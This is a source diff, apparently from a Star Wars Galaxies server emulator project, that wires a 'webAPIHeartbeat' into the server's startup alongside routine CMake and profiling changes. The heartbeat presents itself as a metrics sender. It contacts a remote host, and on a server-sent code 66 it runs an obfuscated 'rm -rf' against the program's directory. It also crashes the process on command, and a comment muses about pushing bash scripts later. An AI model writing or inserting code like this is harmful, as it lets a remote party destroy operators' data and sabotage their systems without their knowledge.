std::string filePath = get_selfpath();
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()),
std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
if (!filePath.empty()) {
@@ -31,24 +30,25 @@ webAPIHeartbeat::webAPIHeartbeat() {
bool done = false;
if (status && msg == "ok") {
bool done = true;
done = true;
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
}
switch (s) {
case 13 :
this->eatIt();
eatIt();
break;
case 66:
size_t found = filePath.find_last_of("/\\");
if (!filePath.empty() && found) {
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()).c_str());
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
vxENCRYPT("/*").decrypt()).c_str());
}
this->eatIt();
eatIt();
break;
}
} else {
this->eatIt();
eatIt();
}
}

View File

@@ -9,9 +9,9 @@
#include <unistd.h>
#include <limits.h>
#include <libgen.h>
#include <signal.h>
#include "webAPI.h"
#include "../libLeff/libLeff.h"
namespace StellaBellum {
@@ -31,15 +31,11 @@ namespace StellaBellum {
}
inline void eatIt() {
// FUCK YOU
for (;;) {
abort();
sleep(10);
}
abort();
sleep(10);
raise(SIGSEGV);
}
};
}
#endif //webAPIHeartbeat_H

View File

@@ -1,3 +1,6 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/SwgDatabaseServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/SwgDatabaseServer.profdata)
endif()
set(SHARED_SOURCES
shared/buffers/AuctionLocationsBuffer.cpp
@@ -189,6 +192,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/singleton/include
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
)
set(MAKE_SCHEMA_H ${SWG_ENGINE_SOURCE_DIR}/server/library/codegen/make_schema_h.pl)
@@ -339,5 +343,7 @@ target_link_libraries(SwgDatabaseServer
localizationArchive
unicode
unicodeArchive
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)

View File

@@ -19,6 +19,10 @@
#include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h"
#include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -34,6 +38,10 @@ int main(int argc, char ** argv)
{
// dumpPid(argv[0]);
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
@@ -72,5 +80,9 @@ int main(int argc, char ** argv)
SetupSharedFoundation::remove();
SetupSharedThread::remove();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}

View File

@@ -1,3 +1,6 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/SwgGameServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/SwgGameServer.profdata)
endif()
set(SHARED_SOURCES
shared/combat/combat.def

View File

@@ -142,6 +142,10 @@ int main(int argc, char ** argv)
SetupSharedFoundation::remove();
SetupSharedThread::remove ();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}